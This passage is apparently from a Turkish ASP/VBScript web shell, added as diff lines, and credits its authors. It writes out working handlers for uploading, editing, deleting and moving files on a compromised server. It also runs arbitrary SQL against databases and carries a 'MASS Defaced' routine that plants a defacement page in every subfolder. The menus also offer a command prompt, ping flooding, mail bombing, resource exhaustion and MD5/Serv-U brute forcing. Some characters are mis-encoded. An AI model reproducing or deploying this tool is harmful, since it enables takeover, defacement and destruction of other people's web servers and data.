Dim lbinBytes + Dim lobjRs + If Length = 0 Then Exit Function + If LenB(BinaryData) = 0 Then Exit Function + + If Not Len(mstrText) = 0 Then + BinaryAsText = mstrText + Exit Function + End If + lbinBytes = ASCII2Bytes(BinaryData) + mstrText = Bytes2Unicode(lbinBytes) + BinaryAsText = mstrText + End Function + + Public Sub SaveAs(ByRef pstrFileName) + Const adTypeBinary=1 + Const adSaveCreateOverWrite=2 + Dim lobjStream + Dim lobjRs + Dim lbinBytes + If Length = 0 Then Exit Sub + If LenB(BinaryData) = 0 Then Exit Sub + Set lobjStream = Server.CreateObject("ADODB.Stream") + lobjStream.Type = adTypeBinary + Call lobjStream.Open() + lbinBytes = ASCII2Bytes(BinaryData) + Call lobjStream.Write(lbinBytes) + + On Error Resume Next + + Call lobjStream.SaveToFile(pstrFileName, adSaveCreateOverWrite) + + 'if err<>0 then response.Write "
"&err.Description + + Call lobjStream.Close() + Set lobjStream = Nothing + End Sub + + Public Property Let FilePath(ByRef pstrPath) + mstrPath = pstrPath + If Not InStrRev(pstrPath, ".") = 0 Then + FileExt = Mid(pstrPath, InStrRev(pstrPath, ".") + 1) + FileExt = UCase(FileExt) + End If + If Not InStrRev(pstrPath, "\") = 0 Then + FileName = Mid(pstrPath, InStrRev(pstrPath, "\") + 1) + End If + If Not InStrRev(pstrPath, "\") = 0 Then + FileDir = Mid(pstrPath, 1, InStrRev(pstrPath, "\") - 1) + End If + End Property + + Public Property Get FilePath() + FilePath = mstrPath + End Property + + private Function ASCII2Bytes(ByRef pbinBinaryData) + Const adLongVarBinary=205 + Dim lobjRs + Dim llngLength + Dim lbinBuffer + llngLength = LenB(pbinBinaryData) + Set lobjRs = Server.CreateObject("ADODB.Recordset") + Call lobjRs.Fields.Append("BinaryData", adLongVarBinary, llngLength) + Call lobjRs.Open() + Call lobjRs.AddNew() + Call lobjRs.Fields("BinaryData").AppendChunk(pbinBinaryData & ChrB(0)) + Call lobjRs.Update() + lbinBuffer = lobjRs.Fields("BinaryData").GetChunk(llngLength) + Call lobjRs.Close() + Set lobjRs = Nothing + ASCII2Bytes = lbinBuffer + End Function + + Private Function Bytes2Unicode(ByRef pbinBytes) + Dim lobjRs + Dim llngLength + Dim lstrBuffer + llngLength = LenB(pbinBytes) + Set lobjRs = Server.CreateObject("ADODB.Recordset") + Call lobjRs.Fields.Append("BinaryData", adLongVarChar, llngLength) + Call lobjRs.Open() + Call lobjRs.AddNew() + Call lobjRs.Fields("BinaryData").AppendChunk(pbinBytes) + Call lobjRs.Update() + lstrBuffer = lobjRs.Fields("BinaryData").Value + Call lobjRs.Close() + Set lobjRs = Nothing + Bytes2Unicode = lstrBuffer + End Function +End Class + +function addslash(path) + if right(path,1)="\" then addslash=path else addslash=path & "\" +end function + +sub Upload() + dim objUpload,f,max,i,name,path,size,success + + set objUpload=New clsUpload + + targetPath=objUpload.Fields("folder").Value + max=objUpload.Fields("max").Value +success=true + for i=1 to max + name=objUpload.Fields("file" & i).FileName + size=objUpload.Fields("file" & i).Length + if (name<>"") and (size>0) then + gMsg=gMsg & "
" & vbNewLine & "- " & name & " (" & FormatNumber(size,0) & " bytes): " + path=addslash(targetPath) & name + objUpload.Fields("file" & i).SaveAs path + + if FSO.FileExists(path) then + on error resume next + set f=objFSO.GetFile(path) + if IsObject(f) then + if f.Size=size then success=true else success=false + end if + set f=nothing + end if + if success then gMsg=gMsg & "uploaded" else gMsg = gMsg & "failed!" + end if + next + response.Write gMsg + set objUpload=nothing + +end sub + + +'*************************************************************************************************************************************** +'************* MD5 HASH ��lemi Converted by FASTBOY - Used & Written Brute Algortithms by EJDER ;) ************************************ +'************* Md5 kodlar FASTBOY taraf�ndan hem MD5 i�in hemde Serv-u i�in toparlanm�� ve d�zeltilmi�tir. *************************** +'************* KOdlar� Brute olarak belli mant�kla vede Server �n kaynaklar�n� kullanrak bulma, ��zme olay�n�da Ejder yazm��t�r ******** +'*************************************************************************************************************************************** +'********************************************************* +'************* COnverted by FASTBOY ;) **************** +'******* The Brute Algortihms Owned to EJDER ;) ****** +'********************************************************* +'********************************************************* +' MD5 kodlama ba�lad��.. +Private Const BITS_TO_A_BYTE = 8 +Private Const BYTES_TO_A_WORD = 4 +Private Const BITS_TO_A_WORD = 32 + +Private m_lOnBits(30) +Private m_l2Power(30) + + m_lOnBits(0) = CLng(1) + m_lOnBits(1) = CLng(3) + m_lOnBits(2) = CLng(7) + m_lOnBits(3) = CLng(15) + m_lOnBits(4) = CLng(31) + m_lOnBits(5) = CLng(63) + m_lOnBits(6) = CLng(127) + m_lOnBits(7) = CLng(255) + m_lOnBits(8) = CLng(511) + m_lOnBits(9) = CLng(1023) + m_lOnBits(10) = CLng(2047) + m_lOnBits(11) = CLng(4095) + m_lOnBits(12) = CLng(8191) + m_lOnBits(13) = CLng(16383) + m_lOnBits(14) = CLng(32767) + m_lOnBits(15) = CLng(65535) + m_lOnBits(16) = CLng(131071) + m_lOnBits(17) = CLng(262143) + m_lOnBits(18) = CLng(524287) + m_lOnBits(19) = CLng(1048575) + m_lOnBits(20) = CLng(2097151) + m_lOnBits(21) = CLng(4194303) + m_lOnBits(22) = CLng(8388607) + m_lOnBits(23) = CLng(16777215) + m_lOnBits(24) = CLng(33554431) + m_lOnBits(25) = CLng(67108863) + m_lOnBits(26) = CLng(134217727) + m_lOnBits(27) = CLng(268435455) + m_lOnBits(28) = CLng(536870911) + m_lOnBits(29) = CLng(1073741823) + m_lOnBits(30) = CLng(2147483647) + + m_l2Power(0) = CLng(1) + m_l2Power(1) = CLng(2) + m_l2Power(2) = CLng(4) + m_l2Power(3) = CLng(8) + m_l2Power(4) = CLng(16) + m_l2Power(5) = CLng(32) + m_l2Power(6) = CLng(64) + m_l2Power(7) = CLng(128) + m_l2Power(8) = CLng(256) + m_l2Power(9) = CLng(512) + m_l2Power(10) = CLng(1024) + m_l2Power(11) = CLng(2048) + m_l2Power(12) = CLng(4096) + m_l2Power(13) = CLng(8192) + m_l2Power(14) = CLng(16384) + m_l2Power(15) = CLng(32768) + m_l2Power(16) = CLng(65536) + m_l2Power(17) = CLng(131072) + m_l2Power(18) = CLng(262144) + m_l2Power(19) = CLng(524288) + m_l2Power(20) = CLng(1048576) + m_l2Power(21) = CLng(2097152) + m_l2Power(22) = CLng(4194304) + m_l2Power(23) = CLng(8388608) + m_l2Power(24) = CLng(16777216) + m_l2Power(25) = CLng(33554432) + m_l2Power(26) = CLng(67108864) + m_l2Power(27) = CLng(134217728) + m_l2Power(28) = CLng(268435456) + m_l2Power(29) = CLng(536870912) + m_l2Power(30) = CLng(1073741824) + +Private Function LShift(lValue, iShiftBits) + If iShiftBits = 0 Then + LShift = lValue + Exit Function + ElseIf iShiftBits = 31 Then + If lValue And 1 Then + LShift = &H80000000 + Else + LShift = 0 + End If + Exit Function + ElseIf iShiftBits < 0 Or iShiftBits > 31 Then + Err.Raise 6 + End If + + If (lValue And m_l2Power(31 - iShiftBits)) Then + LShift = ((lValue And m_lOnBits(31 - (iShiftBits + 1))) * m_l2Power(iShiftBits)) Or &H80000000 + Else + LShift = ((lValue And m_lOnBits(31 - iShiftBits)) * m_l2Power(iShiftBits)) + End If +End Function +Private Function RShift(lValue, iShiftBits) + If iShiftBits = 0 Then + RShift = lValue + Exit Function + ElseIf iShiftBits = 31 Then + If lValue And &H80000000 Then + RShift = 1 + Else + RShift = 0 + End If + Exit Function + ElseIf iShiftBits < 0 Or iShiftBits > 31 Then + Err.Raise 6 + End If + + RShift = (lValue And &H7FFFFFFE) \ m_l2Power(iShiftBits) + + If (lValue And &H80000000) Then + RShift = (RShift Or (&H40000000 \ m_l2Power(iShiftBits - 1))) + End If +End Function + +Private Function RotateLeft(lValue, iShiftBits) + RotateLeft = LShift(lValue, iShiftBits) Or RShift(lValue, (32 - iShiftBits)) +End Function + +Private Function AddUnsigned(lX, lY) + Dim lX4 + Dim lY4 + Dim lX8 + Dim lY8 + Dim lResult + + lX8 = lX And &H80000000 + lY8 = lY And &H80000000 + lX4 = lX And &H40000000 + lY4 = lY And &H40000000 + + lResult = (lX And &H3FFFFFFF) + (lY And &H3FFFFFFF) + + If lX4 And lY4 Then + lResult = lResult Xor &H80000000 Xor lX8 Xor lY8 + ElseIf lX4 Or lY4 Then + If lResult And &H40000000 Then + lResult = lResult Xor &HC0000000 Xor lX8 Xor lY8 + Else + lResult = lResult Xor &H40000000 Xor lX8 Xor lY8 + End If + Else + lResult = lResult Xor lX8 Xor lY8 + End If + + AddUnsigned = lResult +End Function + +Private Function Fq(x, y, z) + Fq = (x And y) Or ((Not x) And z) +End Function + +Private Function Gq(x, y, z) + Gq = (x And z) Or (y And (Not z)) +End Function + +Private Function Hq(x, y, z) + Hq = (x Xor y Xor z) +End Function + +Private Function Iq(x, y, z) + Iq = (y Xor (x Or (Not z))) +End Function + +Private Sub FF(a, b, c, d, x, s, ac) + a = AddUnsigned(a, AddUnsigned(AddUnsigned(Fq(b, c, d), x), ac)) + a = RotateLeft(a, s) + a = AddUnsigned(a, b) +End Sub + +Private Sub GG(a, b, c, d, x, s, ac) + a = AddUnsigned(a, AddUnsigned(AddUnsigned(Gq(b, c, d), x), ac)) + a = RotateLeft(a, s) + a = AddUnsigned(a, b) +End Sub + +Private Sub HH(a, b, c, d, x, s, ac) + a = AddUnsigned(a, AddUnsigned(AddUnsigned(Hq(b, c, d), x), ac)) + a = RotateLeft(a, s) + a = AddUnsigned(a, b) +End Sub + +Private Sub II(a, b, c, d, x, s, ac) + a = AddUnsigned(a, AddUnsigned(AddUnsigned(Iq(b, c, d), x), ac)) + a = RotateLeft(a, s) + a = AddUnsigned(a, b) +End Sub + +'********************************************************* +'************* COnverted by FASTBOY ;) **************** +'******* The Brute Algortihms Owned to EJDER ;) ****** +'********************************************************* +'********************************************************* + +Private Function ConvertToWordArray(sMessage) + Dim lMessageLength + Dim lNumberOfWords + Dim lWordArray() + Dim lBytePosition + Dim lByteCount + Dim lWordCount + + Const MODULUS_BITS = 512 + Const CONGRUENT_BITS = 448 + + lMessageLength = Len(sMessage) + + lNumberOfWords = (((lMessageLength + ((MODULUS_BITS - CONGRUENT_BITS) \ BITS_TO_A_BYTE)) \ (MODULUS_BITS \ BITS_TO_A_BYTE)) + 1) * (MODULUS_BITS \ BITS_TO_A_WORD) + ReDim lWordArray(lNumberOfWords - 1) + + lBytePosition = 0 + lByteCount = 0 + Do Until lByteCount >= lMessageLength + lWordCount = lByteCount \ BYTES_TO_A_WORD + lBytePosition = (lByteCount Mod BYTES_TO_A_WORD) * BITS_TO_A_BYTE + lWordArray(lWordCount) = lWordArray(lWordCount) Or LShift(Asc(Mid(sMessage, lByteCount + 1, 1)), lBytePosition) + lByteCount = lByteCount + 1 + Loop + + lWordCount = lByteCount \ BYTES_TO_A_WORD + lBytePosition = (lByteCount Mod BYTES_TO_A_WORD) * BITS_TO_A_BYTE + + lWordArray(lWordCount) = lWordArray(lWordCount) Or LShift(&H80, lBytePosition) + + lWordArray(lNumberOfWords - 2) = LShift(lMessageLength, 3) + lWordArray(lNumberOfWords - 1) = RShift(lMessageLength, 29) + + ConvertToWordArray = lWordArray +End Function + +Private Function WordToHex(lValue) + Dim lByte + Dim lCount + + For lCount = 0 To 3 + lByte = RShift(lValue, lCount * BITS_TO_A_BYTE) And m_lOnBits(BITS_TO_A_BYTE - 1) + WordToHex = WordToHex & Right("0" & Hex(lByte), 2) + Next +End Function + + +Public Function MD5(sMessage) + Dim x + Dim k + Dim AA + Dim BB + Dim CC + Dim DD + Dim a + Dim b + Dim c + Dim d + + Const S11 = 7 + Const S12 = 12 + Const S13 = 17 + Const S14 = 22 + Const S21 = 5 + Const S22 = 9 + Const S23 = 14 + Const S24 = 20 + Const S31 = 4 + Const S32 = 11 + Const S33 = 16 + Const S34 = 23 + Const S41 = 6 + Const S42 = 10 + Const S43 = 15 + Const S44 = 21 + + x = ConvertToWordArray(sMessage) + + a = &H67452301 + b = &HEFCDAB89 + c = &H98BADCFE + d = &H10325476 + + For k = 0 To UBound(x) Step 16 + AA = a + BB = b + CC = c + DD = d + + FF a, b, c, d, x(k + 0), S11, &HD76AA478 + FF d, a, b, c, x(k + 1), S12, &HE8C7B756 + FF c, d, a, b, x(k + 2), S13, &H242070DB + FF b, c, d, a, x(k + 3), S14, &HC1BDCEEE + FF a, b, c, d, x(k + 4), S11, &HF57C0FAF + FF d, a, b, c, x(k + 5), S12, &H4787C62A + FF c, d, a, b, x(k + 6), S13, &HA8304613 + FF b, c, d, a, x(k + 7), S14, &HFD469501 + FF a, b, c, d, x(k + 8), S11, &H698098D8 + FF d, a, b, c, x(k + 9), S12, &H8B44F7AF + FF c, d, a, b, x(k + 10), S13, &HFFFF5BB1 + FF b, c, d, a, x(k + 11), S14, &H895CD7BE + FF a, b, c, d, x(k + 12), S11, &H6B901122 + FF d, a, b, c, x(k + 13), S12, &HFD987193 + FF c, d, a, b, x(k + 14), S13, &HA679438E + FF b, c, d, a, x(k + 15), S14, &H49B40821 + + GG a, b, c, d, x(k + 1), S21, &HF61E2562 + GG d, a, b, c, x(k + 6), S22, &HC040B340 + GG c, d, a, b, x(k + 11), S23, &H265E5A51 + GG b, c, d, a, x(k + 0), S24, &HE9B6C7AA + GG a, b, c, d, x(k + 5), S21, &HD62F105D + GG d, a, b, c, x(k + 10), S22, &H2441453 + GG c, d, a, b, x(k + 15), S23, &HD8A1E681 + GG b, c, d, a, x(k + 4), S24, &HE7D3FBC8 + GG a, b, c, d, x(k + 9), S21, &H21E1CDE6 + GG d, a, b, c, x(k + 14), S22, &HC33707D6 + GG c, d, a, b, x(k + 3), S23, &HF4D50D87 + GG b, c, d, a, x(k + 8), S24, &H455A14ED + GG a, b, c, d, x(k + 13), S21, &HA9E3E905 + GG d, a, b, c, x(k + 2), S22, &HFCEFA3F8 + GG c, d, a, b, x(k + 7), S23, &H676F02D9 + GG b, c, d, a, x(k + 12), S24, &H8D2A4C8A + + HH a, b, c, d, x(k + 5), S31, &HFFFA3942 + HH d, a, b, c, x(k + 8), S32, &H8771F681 + HH c, d, a, b, x(k + 11), S33, &H6D9D6122 + HH b, c, d, a, x(k + 14), S34, &HFDE5380C + HH a, b, c, d, x(k + 1), S31, &HA4BEEA44 + HH d, a, b, c, x(k + 4), S32, &H4BDECFA9 + HH c, d, a, b, x(k + 7), S33, &HF6BB4B60 + HH b, c, d, a, x(k + 10), S34, &HBEBFBC70 + HH a, b, c, d, x(k + 13), S31, &H289B7EC6 + HH d, a, b, c, x(k + 0), S32, &HEAA127FA + HH c, d, a, b, x(k + 3), S33, &HD4EF3085 + HH b, c, d, a, x(k + 6), S34, &H4881D05 + HH a, b, c, d, x(k + 9), S31, &HD9D4D039 + HH d, a, b, c, x(k + 12), S32, &HE6DB99E5 + HH c, d, a, b, x(k + 15), S33, &H1FA27CF8 + HH b, c, d, a, x(k + 2), S34, &HC4AC5665 + + II a, b, c, d, x(k + 0), S41, &HF4292244 + II d, a, b, c, x(k + 7), S42, &H432AFF97 + II c, d, a, b, x(k + 14), S43, &HAB9423A7 + II b, c, d, a, x(k + 5), S44, &HFC93A039 + II a, b, c, d, x(k + 12), S41, &H655B59C3 + II d, a, b, c, x(k + 3), S42, &H8F0CCC92 + II c, d, a, b, x(k + 10), S43, &HFFEFF47D + II b, c, d, a, x(k + 1), S44, &H85845DD1 + II a, b, c, d, x(k + 8), S41, &H6FA87E4F + II d, a, b, c, x(k + 15), S42, &HFE2CE6E0 + II c, d, a, b, x(k + 6), S43, &HA3014314 + II b, c, d, a, x(k + 13), S44, &H4E0811A1 + II a, b, c, d, x(k + 4), S41, &HF7537E82 + II d, a, b, c, x(k + 11), S42, &HBD3AF235 + II c, d, a, b, x(k + 2), S43, &H2AD7D2BB + II b, c, d, a, x(k + 9), S44, &HEB86D391 + + a = AddUnsigned(a, AA) + b = AddUnsigned(b, BB) + c = AddUnsigned(c, CC) + d = AddUnsigned(d, DD) + Next + + MD5 = LCase(WordToHex(a) & WordToHex(b) & WordToHex(c) & WordToHex(d)) +End Function +'*************************************************************************************************************************** +'*************************** MD5 KOdlar� Biter. ************************************************************************* +'*************************************************************************************************************************** +if popup = False then +'Link ve Konum paneli by EJDER +'T�rk Bayra�� Ascii Karakterlerle - Created By FasTBoY :) +Response.Write "
 Z
 
 
" +response.write "
" +response.write "

" +response.write "
   Sistem Analizi* | MASS Attack | Permision Tester | Klas�r ��lemleri | CMD | My-MS_SQL | RegEdit | *Biz Kimiz*!    

" +response.write "
    Ping Sald�r�s� | Mail Bombard�man� | Ram & Cpu Sald�r�s� | Kaynak S�m�r�c� | MD5&Serv-U | MSWCTools | XMLHTTP    

" +response.write "
   Arama:    
" +response.write "
" +response.write "
   Konum :    
" +response.write "" +response.write "
" +response.write "
" + +'Yetki paneli by EJDER +response.write "" +response.write "
" +response.write "" +response.write "" +call yetki +response.write "
   Yetki :   
" +response.write "

" +end if + + + +SELECT CASE mode +CASE 2 ' Dizin kopyala TA�I by EJDER +on error resume next +response.write "" +response.write "
" +response.write "
" +response.write "" +tablo30(" Dizin Kopyala / Ta�� Merkezi") +tablo30(" ") +response.write " " +tablo12("Kop. Yer : ") +tablo12("Kopyala Tasi ") +tablo12("
") +response.write "

" +Call Hata + +CASE 3 ' dizin kop ta��mam ger�ekle�iyor by EJDER +on error resume next +if islem="kopyala" then + FSO.CopyFolder konum,FolderPath2 + isl="kopyaland�.." +elseif islem="tasi" then + FSO.MoveFolder konum,FolderPath2 + isl="ta��nd�.." +end if +response.Write "

Klasor "&isl&"
" +response.Write "
Kaynak : "&FolderPath&"
Hedef : "&FolderPath2 +response.Write "

by Ejder
" +Call Hata + +CASE 4 ' Dizin S�lmee by EJDER +on error resume next +FSO.DeleteFolder del +if err<>0 then +Call olmadi("Dizin Silenemdi") +else +Call oldu("Dizin Silindi") +end if + +CASE 5 ' Dosya silme olay� ger�ekli�iypor by EJDER +on error resume next +FSO.DeleteFile del +if err<>0 then +Call olmadi("Dosya Silinemedi") +else +Call oldu("Dosya Silindi") +end if + +'CASE 6 ' Dosya Dowlaod etme by EJDER +' Download hatal� oldu�u i�in, �STTE ta��d�mm + +CASE 7 ' Dosya Kopayla Ta��ma POST k�sm� by EJDER +on error resume next +response.write "" +response.write "
" +response.write "
" +response.write "" +tablo30(" Dosya Kopyala / Ta�� Merkezi") +tablo30(" ") +response.write " " +tablo12("Kop. Yer : ") +tablo12("Kopyala Tasi ") +tablo12("
") +response.write "

" +Call Hata + +CASE 8 ' Dosya kopyala, ta��maa olay� by EJDER +on error resume next +if islem="kopyala" then + FSO.CopyFile file,folder&"" + isl="kopyaland�.." +elseif islem="tasi" then + FSO.MoveFile file,folder&"" + isl="ta��nd�.." +end if +if err <> 0 then +response.Write "

Ba�ar�s�zl�kla sonu�land� !!!
" +else +response.Write "

Klasor "&isl&"
" +end if +response.Write "
Kaynak : "&file&"
Hedef : "&folder&"\" +response.Write "

by Ejder
" +Call Hata + +CASE 9 ' Dosya ��ini g�r�nt�le by EJDER +on error resume next +Response.Write "
"&path&"

" +Response.Write "
" +set f = FSO.OpenTextFile(file,1) +Response.Write "
"&Server.HTMLEncode(f.readAll)&"
" +Response.Write "
" +nolist = True +if err<>62 then Hata +if err.number=62 then +Response.Write "" +nolist = False +end if + +CASE 10 ' ASP txt php .. gibi dosyalar� Editlemek i�in POSt k�sm� by EJDER +on error resume next +set f = FSO.OpenTextFile(file,1) +response.Write "
" +Response.Write "" +Response.Write "" +Response.Write "



" +Response.Write "
" +Call Hata +nolist = True + +CASE 11 ' Editleme olay�� ger�ekle�iyorr by EJDER +on error resume next +set saveTextFile = FSO.OpenTextFile(file,2,true,false) +Call Hata +saveTextFile.Write(islem) +saveTextFile.close +if err<>0 then +olmadi("Editlenemedii") +else +oldu("Editlendi") +end if + +CASE 12 ' Resim Dosyas�n� G�r�nt�lee by EJDER +on error resume next +Response.Write "


" +Call Hata +nolist = True + +CASE 13 ' SQL i�in TAblolar� Listeleme by EJDER +Response.Write "
Tablolar

" +Set objConn = Server.CreateObject("ADODB.Connection") +Set objADOX = Server.CreateObject("ADOX.Catalog") +objConn.Provider = "Microsoft.Jet.Oledb.4.0" +objConn.ConnectionString = file +objConn.Open +objADOX.ActiveConnection = objConn + +response.write "" +For Each table in objADOX.Tables + If table.Type = "TABLE" Then + Response.Write "" + End If +Next +response.write "
4 "&table.Name&"
" +response.write "
" +Call Hata +nolist = True + +CASE 14 ' TAblo i�eri�i g�r�nt�leme by EJDER +Call SQL_menu_by_Ejder +Call SQL_by_EJDER(file,table) +nolist = True + +CASE 15 ' SQL kod yerle�tirme olay� by EJDER +if islem = "select" then inject = inject1 +if islem = "delete" then inject = inject2 +if islem = "insert" then inject = inject3 +if islem = "update" then inject = inject4 +if islem = "diger" then inject = inject5 +SQL_menu_by_Ejder +response.write "
Db Yeri : "&file&"
" +response.write "
Sql komut : "&inject&"

" +if islem = "select" then + if not ejdersql = "" then + Call MSSQL_by_EJDER(ejdersql,inject) + else + Call SQL_by_EJDER(file,inject) + end if +else +on error resume next +if ejdersql = "" then + Set objConn = Server.CreateObject("ADODB.Connection") + Set objRcs = Server.CreateObject("ADODB.RecordSet") + objConn.Provider = "Microsoft.Jet.Oledb.4.0" + objConn.ConnectionString = file + objConn.Open +else + Set objConn = Server.CreateObject("ADODB.Connection") + Set objRcs = Server.CreateObject("ADODB.RecordSet") + objConn.Open ejdersql +end if + +if err <> 0 then + response.write "

N DataBase ile Ba�lant�n�z Sa�lanaMAd�� !!! by EJDER :( N


" +else + on error resume next + objRcs.Open inject,objConn, adOpenKeyset , , adCmdText + if err <> 0 then + Call olmadi("
SQL �njection Komutunuzda HATA var. Bilmiyorsan Kullanma

") + else + Call oldu("
SQL �njection Ba�ar�yla GEr�ekle�tii.

") + end if +end if +objRcs.close +objConn.close +end if +nolist = True + +CASE 16 ' Dosya ADI de�i�tirme Formu by EJDER +on error resume next +response.write "" +response.write "
" +response.write "
" +response.write "" +tablo30(" Dosya AD� de�i�tirme MErkezi") +tablo30("Ad� : "&islem&"
Yeri : "&file&"") +response.write " " +tablo12("Dosyan�n Yeni Ad�:  ") +tablo12("
") +response.write "

" +Call Hata + +CASE 17 ' Dosya Ad� de�i�tirme Olay� ger�ekle�iyor by E_JDER +on error resume next +Set fileObject = fso.GetFile(file) +fileObject.Name = islem +if err <> 0 then + Call olmadi("
DOsya Ad� de�i�eMEdii

") +else + Call oldu("
Dosya Ad� de�i�ti

") +end if +Set fileObject = Nothing +Call Hata + +CASE 18 ' MAss Defeced Merkezi by EJDER +on error resume next +response.write "
" +response.write "
" +response.write "" +tablo30(" MASS Defaced Merkezi") +tablo30("...... ::::: �ndex KOD unu A�a��ya Yaz / Yap��t�r ::::: ......") +tablo30("
Konum :

") +response.write " " +tablo12O("") +tablo12O(" Brute - Single - Private    Eklenti ") +tablo12O(" Kopyalayarak - Olu�turarak") +tablo12O("") +yazsol("Brute : Belirtilen Dizinin ALt�ndaki; T�m Dizinlere ve onlar�nda ALt Dizinleri �ndex BAsar. ") +yazsol("Single : Belirtilen Dizinin ALt�ndaki; Alt Dizinlere �ndex BAsar. ") +yazsol("Private : Belirtilen Dizinin ALt�ndaki; Alt Dizinlere �stedi�iniz �simle �ndex BAsar. ") +yazsol("Eklenti : BRUTE & Single ile kullan�l�r. Permsion var ise bunu se�menize ayarlaman�za gerek yok. E�er site isimlerini listeleytebiliyor, ve i�ine girremiyor fakat klas�r atlayarak girebiliyorsan�z. o zaman bunu se�in ve bulunan klas�rrden sonrakine gidip oraya index leri atar. Mesela ; '..site\savsak_com', '..\site\haber_com' .. gibi siteelr listeli. bunlar�n i�lerine girid�inizde g�r�nt�lkeme yetkinzi yok . Ama e�er '..\site\savsak_com\www\' yap�nca girebiliyorsna�z. PERM�S�ON a�ma y�ntemidir. b�ylece Eklenti yerine 'www' yazarak ve se�erekden. t�m sitelere o kla�sr i�ine girme yetkisini sa�lay�p, index b�rakt�r�rr�z. ") +yazsol("Kopyalayarak : FSO dizinine bir TXT yazar. Sonra onu T�m klas�rlere KOpyalayarak i�lem yapar. E�er FSO dizininde yazma yok ise, i�lem ger�ekle�mez. T�M MASS lar b�yledir. ") +yazsol("Yaratarak : Direk index kodunuzu, Klas�lerde OLU�TURARAk MASS yapar. BU EJder & SaVSaK.CoM FARk� ile. 1-2 defa ba��ma geldi=) o y�zden bu �zellei�i ekledim. ") +yazsol("NOT : Brute & Single da 9 �e�it index basar, Private da �stdi�iniz �simle 1 tane atar ;) ") +response.write "

" +Call Hata + +CASE 19 ' MAss Attack ��leniyor. E�er �ndex yok ise, Hata ve FOrm sunuyor, aksi halde MASS yap�yor. +konum = request.form("masskonum") +filee = request.form("massfile") +islem = request.form("massislem") +hash9 = request.form("masshash9") +hash2 = request.form("masshash2") +hash3 = request.form("masshash3") +inject1 = request.form("massinject1") + +'filee = filee&"


HAcked by EJDER ;)
" +inject7 = filee +if hash9 = "copy" then +on error resume next +a=Left(replace(Request.ServerVariables("PATH_TRANSLATED"),"/","\"),InStrRev(replace(Request.ServerVariables("PATH_TRANSLATED"),"/","\"),"\")) +Set hackindex = FSO.CreateTextFile(a&"\ejder.txt", True) +hackindex.write filee +if err <> 0 then +response.write "

N Bulundu�un Dizinde Yazma YEtin yok. Bu y�zden �ndex Sayfas� olu�turulamad�. N

N E�er ki Server i�ine bir Tane index y�kler ve a�a��daki yere tam link ini yazarsan, O zaman MASS Defaced ba�l�yacakt�r. N


" +response.write "" +response.write "
" +response.write "
" +response.write "" +response.write "" +Call tablo30("�ndex in Server daki kendi �ndex inin YErini G�ster. ") +Call tablo30(" ") +Call tablo12("") +Call tablo12("
") +response.write "

" +else +set hacking = nothing +hacked = a&"\ejder.txt" +hash6 = konum +Call MassAttack2(konum,filee,hash2) +Call MassAttack(hash6,filee,hash2) +response.write "
..... :::: Bitttiiii :::: .....
" +response.write "


by EJDER ;)

" +Response.Write "" +end if +else if hash9 = "yarat" then +hash6 = konum +Call MassAttack2(konum,filee,hash2) +Call MassAttack(hash6,filee,hash2) +response.write "
..... :::: Bitttiiii :::: .....
" +response.write "


by EJDER ;)

" +Response.Write "" +end if +end if +Call Hata + +CASE 20 ' Hata sonucu, d�zeltme yap�ld� ise, burdan MAss dewaam ediyor. +on error resume next +Set cloner2 = fso.GetFile(hacked) +if err <> 0 then +response.write "



N �ndex Bulunamad�. KOnumunu verid�in �ndex yada Dosya BULUNAMADI. Mass Durdurudu !!! N




" +set cloner2 = nothing +else +set cloner2 = nothing +file="EJDER" +hash6 = konum +Call MassAttack2(konum,file,hash2) +Call MassAttack(hash6,file,hash2) +response.write "
..... :::: Bitttiiii :::: .....
" +response.write "


by EJDER ;)

" +Response.Write "" +end if +Call Hata + +CASE 21 ' MASS tester formu by EJDER +on error resume next +response.write "" +response.write "
" +response.write "
" +response.write "" +tablo30(" MASS Permision Tester") +tablo30("...... ::::: �zinleri Kontrol Eder ::::: ......") +tablo30("
Konum :

") +response.write " " +tablo12O("


") +tablo12(" ") +response.write "" +response.write "
NOT : Bununla, Alt klas�rlerde Permision varm� yok mu ,Onu kontrol eder ve Listeler... N

" +Call Hata + +CASE 22 ' MASS TEster i�leme g�r�nt�leme by EJDER +Call Tester(konum) +response.write "
..... :::: Bitttiiii :::: .....
" +response.write "


by EJDER ;)

" +Response.Write "" +Call Hata + +CASE 23 ' arama bulma- en g�zel �zeli�i time out olmamas� buldu�unu yazmas�d�r =) by EJDER eseridir. +response.write "
" +i=0 +Call arama(konum) +response.write "

" +Response.Write "" +nolist = True +Call Hata + +CASE 24 ' Klas�r i�lermleri i�in Upload - Dosya ayarat - kla�sr yarat FORM lar� by Ejder +on error resume next +response.write "
" +response.write "
Upload Merkezi
" +response.write "
" +response.write "" +response.write "Max: " +response.write "" +response.write "" +response.write "" +response.write "" +response.write "
" +response.write "
" +response.write "" +response.write "
" +response.write "" +response.write "
" +response.write "
Klas�r Olu�tur :
" +response.write "
Dosya Ad� :
" +response.write "
" +Call Hata + +CASE 25 ' Upload i�lemi by E_JDER +Upload() + +CASE 26 ' Klas�r yarat by EJDER +response.write "



" +if FSO.FolderExists(konum&"\"&file) = True then +response.write "
N B�yle Bir Klas�r ZATEN VAr !!!! N
" +else +on error resume next +FSO.CreateFolder(konum&"\"&file) +if err <> 0 then +olmadi("Klas�r Olu�turulamad�") +else +oldu("Klas�r Olu�turuldu") +end if +end if +response.write "
" +Call hata + +CASE 27 ' Dosya yarat by EJDER +response.write "



" +on error resume next +Set MyFile = FSO.CreateTextFile(konum&"\"&file, True) +MyFile.write islem +if err <> 0 then +olmadi("Dosya Olu�turulamad�") +else +oldu("Dosya Olu�turuldu") +end if +response.write "
" +MyFile.close() +Call hata + +CASE 28 ' CMD Formu ve i�lem yeri by EJDER +if cmdkod="" then cmdkod="ipconfig" +response.write "
" +response.write "
CMD Komut Listele : " +response.write "
" +response.write "
" +if inject5 = "ejder" then +on error resume next +tablo12("Komut �al��t�r�ld�. ") +end if +response.write "
" +response.write "" +response.write "
CMD Komut �al��t�r:
" +response.write "
